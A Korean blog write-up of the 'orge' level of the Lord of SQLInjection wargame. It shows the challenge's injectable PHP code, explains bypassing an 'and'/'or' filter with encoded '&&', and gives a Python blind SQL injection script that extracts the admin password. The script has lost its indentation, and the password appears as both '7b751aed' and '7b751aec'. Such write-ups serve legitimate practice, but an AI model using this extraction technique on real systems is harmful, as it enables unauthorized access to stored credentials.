LOS #07 orge
2020. 10. 28. 22:52
728x90
728x90
728x90
Lord of SQLInjection
los.rubiya.kr
Source code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
Query
select id from prob_orge where id='guest' and pw=''
Write-up

LOS #04 orc 문제와 거의 비슷한 문제이다. 다른 점은 "or", "and" 필터링을 하고 있다는 점이다.
* LOS #04 orc 링크
[Wargame Write-up] LOS #04 orc
Lord of SQLInjection los.rubiya.kr Code
0xe82de.tistory.com
orc 문제와 동일하게 풀 수 있는데, "and" 필터링을 우회하는 방법으로 "&&" 문자열을 쓸 수 있다. 그런데, url에서 "&&" 값을 사용할 수 없기 때문에, 인코딩된 값인 "%26%26"을 사용해야 한다.
* 참고 링크
Can we use & in url?
Can we use "&" in a url ? or should "and" be used?
stackoverflow.com
Code
#!/usr/bin/py
#-*-coding:utf-8 -*-
import requests
pw=""
for i in range(1,9):
for j in range(33,128): # ascii code로 변환할 chr() 함수로 전달할 파라미터 값
try:
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1' || id='admin' %26%26 substr(pw, " + str(i) + ", 1)='" + chr(j)
result = requests.post(url, cookies=(dict(PHPSESSID="세션값")))
except:
print("Error...")
continue
if 'Hello admin' in result.text:
pw = pw + chr(j)
print("pw : " + pw)
break

Parameter
pw=7b751aed
쿼리문은 다음과 같다. orc 문제와 마찬가지로 알파벳이 소문자로 바뀐 이유는 mysql에서 대소문자 구분을 하지 않기 때문에 대문자로 출력된 것이다.
select id from prob_orge where id='guest' and pw='7b751aec'
Success

728x90
728x90
'Wargame > LOS' 카테고리의 다른 글
| LOS #09 vampire (0) | 2020.10.28 |
|---|---|
| LOS #08 troll (0) | 2020.10.28 |
| LOS #06 darkelf (0) | 2020.10.28 |
| LOS #05 wolfman (0) | 2020.10.28 |
| LOS #04 orc (0) | 2020.10.28 |